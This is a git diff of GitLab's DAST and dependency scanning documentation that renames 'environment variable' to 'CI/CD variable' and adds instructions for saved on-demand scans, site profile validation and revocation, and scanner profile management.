+177,7 @@ authorization credentials. By default, the following headers are masked: - `Set-Cookie` (values only). - `Cookie` (values only). -Using the [`DAST_MASK_HTTP_HEADERS` variable](#available-variables), you can list the +Using the [`DAST_MASK_HTTP_HEADERS` CI/CD variable](#available-variables), you can list the headers whose values you want masked. For details on how to mask headers, see [Customizing the DAST settings](#customizing-the-dast-settings). @@ -192,7 +192,7 @@ of your application is likely not accessible without authentication. It is also that you periodically confirm the scanner's authentication is still working as this tends to break over time due to authentication changes to the application. -Create masked variables to pass the credentials that DAST uses. +Create masked CI/CD variables to pass the credentials that DAST uses. To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui). Note that the key of the username variable must be `DAST_USERNAME` and the key of the password variable must be `DAST_PASSWORD`. @@ -252,7 +252,7 @@ and potentially damage them. You could even take down your production environmen For that reason, you should use domain validation. Domain validation is not required by default. It can be required by setting the -[environment variable](#available-variables) `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` to `"true"`. +[CI/CD variable](#available-variables) `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` to `"true"`. ```yaml include: @@ -406,14 +406,14 @@ dast: #### Full API scan API scans support full scanning, which can be enabled by using the `DAST_FULL_SCAN_ENABLED` -environment variable. Domain validation is not supported for full API scans. +CI/CD variable. Domain validation is not supported for full API scans. #### Host override Specifications often define a host, which contains a domain name and a port. The host referenced may be different than the host of the API's review instance. This can cause incorrect URLs to be imported, or a scan on an incorrect host. -Use the `DAST_API_HOST_OVERRIDE` environment variable to override these values. +Use the `DAST_API_HOST_OVERRIDE` CI/CD variable to override these values. For example, with a OpenAPI V3 specification containing: @@ -441,7 +441,7 @@ limitation in the ZAP OpenAPI extension. #### Authentication using headers Tokens in request headers are often used as a way to authenticate API requests. -You can achieve this by using the `DAST_REQUEST_HEADERS` environment variable. +You can achieve this by using the `DAST_REQUEST_HEADERS` CI/CD variable. Headers are applied to every request DAST makes. ```yaml @@ -463,10 +463,10 @@ A URL scan allows you to specify which parts of a website are scanned by DAST. URLs to scan can be specified by either of the following methods: -- Use `DAST_PATHS_FILE` environment variable to specify the name of a file containing the paths. -- Use `DAST_PATHS` environment variable to list the paths. +- Use `DAST_PATHS_FILE` CI/CD variable to specify the name of a file containing the paths. +- Use `DAST_PATHS` variable to list the paths. -##### Use DAST_PATHS_FILE environment variable +##### Use `DAST_PATHS_FILE` CI/CD variable > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. @@ -478,7 +478,7 @@ page1.html category/shoes/page1.html ``` -To scan the URLs in that file, set the environment variable `DAST_PATHS_FILE` to the path of that file. +To scan the URLs in that file, set the CI/CD variable `DAST_PATHS_FILE` to the path of that file. ```yaml include: @@ -501,12 +501,12 @@ dast: DAST_PATHS_FILE: url_file.txt ``` -##### Use DAST_PATHS environment variable +##### Use `DAST_PATHS` CI/CD variable > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. -To specify the paths to scan in an environment variable, add a comma-separated list of the paths to the `DAST_PATHS` -environment variable. Note that you can only scan paths of a single host. +To specify the paths to scan in a CI/CD variable, add a comma-separated list of the paths to the `DAST_PATHS` +variable. Note that you can only scan paths of a single host. ```yaml include: @@ -521,12 +521,12 @@ When using `DAST_PATHS` and `DAST_PATHS_FILE`, note the following: - `DAST_WEBSITE` must be defined when using either `DAST_PATHS_FILE` or `DAST_PATHS`. The paths listed in either use `DAST_WEBSITE` to build the URLs to scan - Spidering is disabled when `DAST_PATHS` or `DAST_PATHS_FILE` are defined - `DAST_PATHS_FILE` and `DAST_PATHS` can not be used together -- The `DAST_PATHS` environment variable has a limit of about 130kb. If you have a list or paths +- The `DAST_PATHS` variable has a limit of about 130kb. If you have a list or paths greater than this, use `DAST_PATHS_FILE`. #### Full Scan -To perform a [full scan](#full-scan) on the listed paths, use the `DAST_FULL_SCAN_ENABLED` environment variable. +To perform a [full scan](#full-scan) on the listed paths, use the `DAST_FULL_SCAN_ENABLED` CI/CD variable. ### Customizing the DAST settings @@ -534,7 +534,7 @@ WARNING: Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic) is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead. -The DAST settings can be changed through environment variables by using the +The DAST settings can be changed through CI/CD variables by using the [`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`. These variables are documented in [available variables](#available-variables). @@ -554,46 +554,47 @@ configuration, the last mention of the variable takes precedence. ### Available variables -DAST can be [configured](#customizing-the-dast-settings) using environment variables. +DAST can be [configured](#customizing-the-dast-settings) using CI/CD variables. -| Environment variable | Type | Description | -|-----------------------------| -----------|--------------------------------------------------------------------------------| -| `SECURE_ANALYZERS_PREFIX` | URL | Set the Docker registry base address from which to download the analyzer. | -| `DAST_WEBSITE` | URL | The URL of the website to scan. `DAST_API_SPECIFICATION` must be specified if this is omitted. | -| `DAST_API_SPECIFICATION` | URL or string | The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. | +| CI/CD variable | Type | Description | +|------------------------------| --------|-------------| +| `SECURE_ANALYZERS_PREFIX` | URL | Set the Docker registry base address from which to download the analyzer. | +| `DAST_WEBSITE` | URL | The URL of the website to scan. `DAST_API_SPECIFICATION` must be specified if this is omitted. | +| `DAST_API_SPECIFICATION` | URL or string | The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. | | `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` is reset to `http://test.site` before scan. Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. | -| `DAST_AUTH_URL` | URL | The URL of the page containing the sign-in HTML form on the target website. `DAST_USERNAME` and `DAST_PASSWORD` are submitted with the login form to create an authenticated scan. Not supported for API scans. | -| `DAST_AUTH_VALIDATION_URL` | URL | A URL only accessible to logged in users that DAST can use to confirm successful authentication. If provided, DAST will exit if it cannot access the URL. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207335) in GitLab 13.8. -| `DAST_USERNAME` | string | The username to authenticate to in the website. | -| `DAST_PASSWORD` | string | The password to authenticate to in the website. | -| `DAST_USERNAME_FIELD` | string | The name of username field at the sign-in HTML form. | -| `DAST_PASSWORD_FIELD` | string | The name of password field at the sign-in HTML form. | -| `DAST_SKIP_TARGET_CHECK` | boolean | Set to `true` to prevent DAST from checking that the target is available before scanning. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229067) in GitLab 13.8. | -| `DAST_MASK_HTTP_HEADERS` | string | Comma-separated list of request and response headers to be masked (GitLab 13.1). Must contain **all** headers to be masked. Refer to [list of headers that are masked by default](#hide-sensitive-information). | -| `DAST_EXCLUDE_URLS` | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. In [GitLab 13.7 and earlier](https://gitlab.com/gitlab-org/security-products/dast/-/merge_requests/367), was `DAST_AUTH_EXCLUDE_URLS` (which we plan to support until GitLab 14.0). | -| `DAST_FULL_SCAN_ENABLED` | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` | +| `DAST_AUTH_URL` | URL | The URL of the page containing the sign-in HTML form on the target website. `DAST_USERNAME` and `DAST_PASSWORD` are submitted with the login form to create an authenticated scan. Not supported for API scans. | +| `DAST_AUTH_VALIDATION_URL` | URL | A URL only accessible to logged in users that DAST can use to confirm successful authentication. If provided, DAST will exit if it cannot access the URL. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207335) in GitLab 13.8. +| `DAST_USERNAME` | string | The username to authenticate to in the website. | +| `DAST_PASSWORD` | string | The password to authenticate to in the website. | +| `DAST_USERNAME_FIELD` | string | The name of username field at the sign-in HTML form. | +| `DAST_PASSWORD_FIELD` | string | The name of password field at the sign-in HTML form. | +| `DAST_SKIP_TARGET_CHECK` | boolean | Set to `true` to prevent DAST from checking that the target is available before scanning. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229067) in GitLab 13.8. | +| `DAST_MASK_HTTP_HEADERS` | string | Comma-separated list of request and response headers to be masked (GitLab 13.1). Must contain **all** headers to be masked. Refer to [list of headers that are masked by default](#hide-sensitive-information). | +| `DAST_EXCLUDE_URLS` | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. | +| `DAST_FULL_SCAN_ENABLED` | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` | | `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` | boolean | Set to `true` to require [domain validation](#domain-validation) when running DAST full scans. Not supported for API scans. Default: `false` | -| `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false` | -| `DAST_API_HOST_OVERRIDE` | string | Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. Example: `example.com:8080` | -| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://github.com/zaproxy/zaproxy/blob/develop/docs/scanners.md). For example, `HTTP Parameter Override` has a rule ID of `10026`. **Note:** In earlier versions of GitLab the excluded rules were executed but alerts they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. | -| `DAST_REQUEST_HEADERS` | string | Set to a comma-separated list of request header names and values. Headers are added to every request made by DAST. For example, `Cache-control: no-cache,User-Agent: DAST/1.0` | -| `DAST_DEBUG` | boolean | Enable debug message output. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_SPIDER_MINS` | number | The maximum duration of the spider scan in minutes. Set to `0` for unlimited. Default: One minute, or unlimited when the scan is a full scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_HTML_REPORT` | string | The filename of the HTML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_MARKDOWN_REPORT` | string | The filename of the Markdown report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1.| -| `DAST_XML_REPORT` | string | The filename of the XML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false` | +| `DAST_API_HOST_OVERRIDE` | string | Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. Example: `example.com:8080` | +| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://github.com/zaproxy/zaproxy/blob/develop/docs/scanners.md). For example, `HTTP Parameter Override` has a rule ID of `10026`. **Note:** In earlier versions of GitLab the excluded rules were executed but alerts they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. | +| `DAST_REQUEST_HEADERS` | string | Set to a comma-separated list of request header names and values. Headers are added to every request made by DAST. For example, `Cache-control: no-cache,User-Agent: DAST/1.0` | +| `DAST_DEBUG` | boolean | Enable debug message output. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_SPIDER_MINS` | number | The maximum duration of the spider scan in minutes. Set to `0` for unlimited. Default: One minute, or unlimited when the scan is a full scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_HTML_REPORT` | string | The filename of the HTML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_MARKDOWN_REPORT` | string | The filename of the Markdown report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1.| +| `DAST_XML_REPORT` | string | The filename of the XML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | | `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_USE_AJAX_SPIDER` | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. | -| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line and be in `/zap/wrk`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. | -| `DAST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the login form or the password form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | -| `DAST_FIRST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the username form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | -| `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` | +| `DAST_USE_AJAX_SPIDER` | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. | +| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line and be in `/zap/wrk`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. | +| `DAST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the login form or the password form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | +| `DAST_FIRST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the username form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | +| `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` | +| `DAST_AUTH_EXCLUDE_URLS` | URLs | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/289959) in GitLab 13.8, to be removed in 14.0, and replaced by `DAST_EXCLUDE_URLS`. The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. | ### DAST command-line options -Not all DAST configuration is available via environment variables. To find out all +Not all DAST configuration is available via CI/CD variables. To find out all possible options, run the following configuration. Available command-line options are printed to the job log: @@ -648,11 +649,11 @@ A DAST job has two executing processes: - The ZAP server. - A series of scripts that start, control and stop the ZAP server. -Debug mode of the scripts can be enabled by using the `DAST_DEBUG` environment variable. This can help when troubleshooting the job, +Debug mode of the scripts can be enabled by using the `DAST_DEBUG` CI/CD variable. This can help when troubleshooting the job, and outputs statements indicating what percentage of the scan is complete. For details on using variables, see [Overriding the DAST template](#customizing-the-dast-settings). -Debug mode of the ZAP server can be enabled using the `DAST_ZAP_LOG_CONFIGURATION` environment variable. +Debug mode of the ZAP server can be enabled using the `DAST_ZAP_LOG_CONFIGURATION` variable. The following table outlines examples of values that can be set and the effect that they have on the output that is logged. Multiple values can be specified, separated by semicolons. @@ -705,7 +706,7 @@ For details on saving and transporting Docker images as a file, see Docker's doc [`docker export`](https://docs.docker.com/engine/reference/commandline/export/), and [`docker import`](https://docs.docker.com/engine/reference/commandline/import/). -### Set DAST CI job variables to use local DAST analyzers +### Set DAST CI/CD job variables to use local DAST analyzers Add the following configuration to your `.gitlab-ci.yml` file. You must replace `image` to refer to the DAST Docker image hosted on your local Docker container registry: @@ -720,21 +721,24 @@ dast: The DAST job should now use local copies of the DAST analyzers to scan your code and generate security reports without requiring internet access. -Alternatively, you can use the variable `SECURE_ANALYZERS_PREFIX` to override the base registry address of the `dast` image. +Alternatively, you can use the CI/CD variable `SECURE_ANALYZERS_PREFIX` to override the base registry address of the `dast` image. ## On-demand scans > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.2. > - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/218465) in GitLab 13.3. +> - The saved scans feature was [added](https://gitlab.com/groups/gitlab-org/-/epics/5100) in +> GitLab 13.9. An on-demand DAST scan runs outside the DevOps life cycle. Changes in your repository don't trigger the scan. You must start it manually. An on-demand DAST scan: -- Uses settings in the site profile and scanner profile you select when you run the scan, - instead of those in the `.gitlab-ci.yml` file. +- Can run a specific combination of a [site profile](#site-profile) and a + [scanner profile](#scanner-profile). - Is associated with your project's default branch. +- Is saved on creation so it can be run later. ### On-demand scan modes @@ -742,8 +746,8 @@ An on-demand scan can be run in active or passive mode: - _Passive mode_ is the default and runs a ZAP Baseline Scan. - _Active mode_ runs a ZAP Full Scan which is potentially harmful to the site being scanned. To - minimize the risk of accidental damage, running an active scan requires a [validated site - profile](#site-profile-validation). + minimize the risk of accidental damage, running an active scan requires a [validated site + profile](#site-profile-validation). ### Run an on-demand DAST scan @@ -752,19 +756,81 @@ You must have permission to run an on-demand DAST scan against a protected branc The default branch is automatically protected. For more information, see [Pipeline security on protected branches](../../../ci/pipelines/index.md#pipeline-security-on-protected-branches). -To run an on-demand DAST scan, you need: +Prerequisites: - A [scanner profile](#create-a-scanner-profile). - A [site profile](#create-a-site-profile). - If you are running an active scan the site profile must be [validated](#validate-a-site-profile). -1. From your project's home page, go to **Security & Compliance > On-demand Scans** in the left sidebar. +To run an on-demand scan, either: + +- [Create and run an on-demand scan](#create-and-run-an-on-demand-scan). +- [Run a previously saved on-demand scan](#run-a-saved-on-demand-scan). + +#### Create and run an on-demand scan + +1. From your project's home page, go to **Security & Compliance > On-demand Scans** in the left + sidebar. +1. Complete the **Scan name** and **Description** fields. 1. In **Scanner profile**, select a scanner profile from the dropdown. 1. In **Site profile**, select a site profile from the dropdown. -1. Click **Run scan**. +1. To run the on-demand scan now, select **Save and run scan**. Otherwise select **Save scan** to + [run](#run-a-saved-on-demand-scan) it later. The on-demand DAST scan runs and the project's dashboard shows the results. +### List saved on-demand scans + +To list saved on-demand scans: + +1. From your project's home page, go to **Security & Compliance > Configuration**. +1. Select the **Saved Scans** tab. + +### View details of an on-demand scan + +To view details of an on-demand scan: + +1. From your project's home page, go to **Security & Compliance > Configuration**. +1. Select **Manage DAST scans**. +1. Select **Manage** in the **DAST Profiles** row. +1. Select the **Saved Scans** tab. +1. In the saved scan's row select **More actions** (**{ellipsis_v}**), then select **Edit**. + +### Run a saved on-demand scan + +To run a saved on-demand scan: + +1. From your project's home page, go to **Security & Compliance > Configuration**. +1. Select **Manage DAST scans**. +1. Select **Manage** in the **DAST Profiles** row. +1. Select the **Saved Scans** tab. +1. In the scan's row select **Run scan**. + +The on-demand DAST scan runs and the project's dashboard shows the results. + +### Edit an on-demand scan + +To edit an on-demand scan: + +1. From your project's home page, go to **Security & Compliance > Configuration**. +1. Select **Manage DAST scans**. +1. Select **Manage** in the **DAST Profiles** row. +1. Select the **Saved Scans** tab. +1. In the saved scan's row select **More actions** (**{ellipsis_v}**), then select **Edit**. +1. Edit the form. +1. Select **Save scan**. + +### Delete an on-demand scan + +To delete an on-demand scan: + +1. From your project's home page, go to **Security & Compliance > Configuration**. +1. Select **Manage DAST scans**. +1. Select **Manage** in the **DAST Profiles** row. +1. Select the **Saved Scans** tab. +1. In the saved scan's row select **More actions** (**{ellipsis_v}**), then select **Delete**. +1. Select **Delete** to confirm the deletion. + ## Site profile A site profile describes the attributes of a web site to scan on demand with DAST. A site profile is @@ -775,7 +841,7 @@ A site profile contains the following: - **Profile name**: A name you assign to the site to be scanned. - **Target URL**: The URL that DAST runs against. -## Site profile validation +### Site profile validation > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233020) in GitLab 13.8. @@ -798,37 +864,51 @@ To create a site profile: 1. From your project's home page, go to **Security & Compliance > Configuration**. 1. Select **Manage** in the **DAST Profiles** row. -1. Select **New Profile > Site Profile**. -1. Type in a unique **Profile name** and **Target URL** then select **Save profile**. +1. Select **New > Site Profile**. +1. Complete the fields then select **Save profile**. + +The site profile is created. ### Edit a site profile To edit an existing site profile: 1. From your project's home page, go to **Security & Compliance > Configuration**. -1. Select **Manage** in the **DAST Profiles** row. -1. Select **Edit** in the row of the profile to edit. -1. Edit the **Profile name** and **Target URL**, then select **Save profile**. +1. In the **DAST Profiles** row select **Manage**. +1. Select the **Site Profiles** tab. +1. In the profile's row select the **More actions** (**{ellipsis_v}**) menu, then select **Edit**. +1. Edit the fields then select **Save profile**. + +The site profile is updated with the edited details. ### Delete a site profile To delete an existing site profile: 1. From your project's home page, go to **Security & Compliance > Configuration**. -1. Select **Manage** in the **DAST Profiles** row. -1. Select **{remove}** (Delete profile) in the row of the profile to delete. +1. In the **DAST Profiles** row select **Manage**. +1. Select the **Site Profiles** tab. +1. In the profile's row select the **More actions** (**{ellipsis_v}**) menu, then select **Delete**. +1. Select **Delete** to confirm the deletion. + +The site profile is deleted. ### Validate a site profile +Prerequisites: + +- A site profile. + To validate a site profile: 1. From your project's home page, go to **Security & Compliance > Configuration**. -1. Select **Manage** in the **DAST Profiles** row. -1. Select **Validate target site** beside the profile to validate. +1. In the **DAST Profiles** row select **Manage**. +1. Select the **Site Profiles** tab. +1. In the profile's row select **Validate** or **Retry validation**. 1. Select the validation method. 1. For **Text file validation**: 1. Download the validation file listed in **Step 2**. - 1. Upload the validation file to the host. You can upload the file to the location in + 1. Upload the validation file to the host. Upload the file to the location in **Step 3** or any location you prefer. 1. Select **Validate**. 1. For **Header validation**: @@ -839,11 +919,23 @@ To validate a site profile: The site is validated and an active scan can run against it. -If a validated site profile's target URL is edited, the site is no longer validated. +If a validated site profile's target URL is edited, the site's validation status is revoked. + +### Revoke a site profile's validation status + +Note that all site profiles with the same URL have their validation status revoked. + +To revoke a site profile's validation status: + +1. From your project's home page, go to **Security & Compliance > Configuration**. +1. In the **DAST Profiles** row select **Manage**. +1. Select **Revoke validation** beside the validated profile. + +The site profile's validation status is revoked. #### Validated site profile headers -The following are code samples of how you could provide the required site profile header in your +The following are code samples of how you can provide the required site profile header in your application. ##### Ruby on Rails example for on-demand scan @@ -888,27 +980,26 @@ app.get('/dast-website-target', function(req, res) { ## Scanner profile > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222767) in GitLab 13.4. +> - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/225804) in GitLab 13.5: scan mode, AJAX spider, debug messages. A scanner profile defines the scanner settings used to run an on-demand scan: - **Profile name:** A name you give the scanner profile. For example, "Spider_15". +- **Scan mode:** A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities. - **Spider timeout:** The maximum number of minutes allowed for the spider to traverse the site. - **Target timeout:** The maximum number of seconds DAST waits for the site to be available before starting the scan. -- **Scan mode:** A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities. - **AJAX spider:** Run the AJAX spider, in addition to the traditional spider, to crawl the target site. - **Debug messages:** Include debug messages in the DAST console output. -Scan mode, AJAX spider, Debug messages are [added in GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/225804) - ### Create a scanner profile To create a scanner profile: 1. From your project's home page, go to **Security & Compliance > Configuration**. -1. Click **Manage** in the **DAST Profiles** row. -1. Click **New Profile > Scanner Profile**. -1. Enter a unique **Profile name**, the desired **Spider timeout**, and the **Target timeout**. +1. In the **DAST Profiles** row select **Manage**. +1. Select **New > Scanner Profile**. +1. Complete the form. For details of each field, see [Scanner profile](#scanner-profile). 1. Click **Save profile**. ### Edit a scanner profile @@ -917,7 +1008,12 @@ To edit a scanner profile: 1. From your project's home page, go to **Security & Compliance > Configuration**. 1. Click **Manage** in the **DAST Profiles** row. -1. Click **Edit** in the scanner profile's row. +1. Select the **Scanner Profiles** tab. +1. In the scanner's row select the **More actions** (**{ellipsis_v}**) menu, then select **Edit**. +1. Edit the form. +1. Select **Save profile**. + +The scanner profile is updated with the edited details. ### Delete a scanner profile @@ -925,7 +1021,11 @@ To delete a scanner profile: 1. From your project's home page, go to **Security & Compliance > Configuration**. 1. Click **Manage** in the **DAST Profiles** row. -1. Click **{remove}** (Delete profile) in the scanner profile's row. +1. Select the **Scanner Profiles** tab. +1. In the scanner's row select the **More actions** (**{ellipsis_v}**) menu, then select **Delete**. +1. Select **Delete**. + +The scanner profile is deleted. ## Reports @@ -985,7 +1085,7 @@ vulnerabilities in your groups, projects and pipelines. Read more about the ZAP first creates rules in the `alpha` class. After a testing period with the community, they are promoted to `beta`. DAST uses `beta` definitions by default. To request `alpha` definitions, use the -`DAST_INCLUDE_ALPHA_VULNERABILITIES` environment variable as shown in the +`DAST_INCLUDE_ALPHA_VULNERABILITIES` CI/CD variable as shown in the following configuration: ```yaml @@ -1033,7 +1133,7 @@ This results in the following error: ``` Fortunately, it's straightforward to increase the amount of memory available -for DAST by using the `DAST_ZAP_CLI_OPTIONS` environment variable: +for DAST by using the `DAST_ZAP_CLI_OPTIONS` CI/CD variable: ```yaml include: diff --git a/doc/user/application_security/dependency_scanning/analyzers.md b/doc/user/application_security/dependency_scanning/analyzers.md index 1079a75e32f..53d91bfcd78 100644 --- a/doc/user/application_security/dependency_scanning/analyzers.md +++ b/doc/user/application_security/dependency_scanning/analyzers.md @@ -34,8 +34,8 @@ maintained by GitLab, but users can also integrate their own **custom images**. ## Official default analyzers -Any custom change to the official analyzers can be achieved by using an -[environment variable in your `.gitlab-ci.yml`](index.md#customizing-the-dependency-scanning-settings). +Any custom change to the official analyzers can be achieved by using a +[CI/CD variable in your `.gitlab-ci.yml`](index.md#customizing-the-dependency-scanning-settings). ### Using a custom Docker mirror diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md index cecf818edfc..11d27140e42 100644 --- a/doc/user/application_security/dependency_scanning/index.md +++ b/doc/user/application_security/dependency_scanning/index.md @@ -65,20 +65,19 @@ The following languages and dependency managers are supported: | [Golang](https://golang.org/) | Go | `go.sum` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | | [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/) | Java | `build.gradle`, `build.gradle.kts`, `pom.xml` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | | [npm](https://www.npmjs.com/), [yarn](https://classic.yarnpkg.com/en/) 1.x | JavaScript | `package-lock.json`, `npm-shrinkwrap.json`, `yarn.lock` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | -| [npm](https://www.npmjs.com/), [yarn](https://classic.yarnpkg.com/en/) 1.x | JavaScript | `package.json` | [Retire.js](https://retirejs.github.io/retire.js/) | +| [npm](https://www.npmjs.com/) (7 and earlier), [yarn](https://classic.yarnpkg.com/en/) 1.x | JavaScript | `package.json` | [Retire.js](https://retirejs.github.io/retire.js/) | | [NuGet](https://www.nuget.org/) 4.9+ | .NET, C# | [`packages.lock.json`](https://docs.microsoft.com/en-us/nuget/consume-packages/package-references-in-project-files#enabling-lock-file) | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | -| [setuptools](https://setuptools.readthedocs.io/en/latest/), [pip](https://pip.pypa.io/en/stable/), [Pipenv](https://pipenv.pypa.io/en/latest/) (*1*) | Python | `setup.py`, `requirements.txt`, `requirements.pip`, `requires.txt`, `Pipfile`, `Pipfile.lock` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | -| 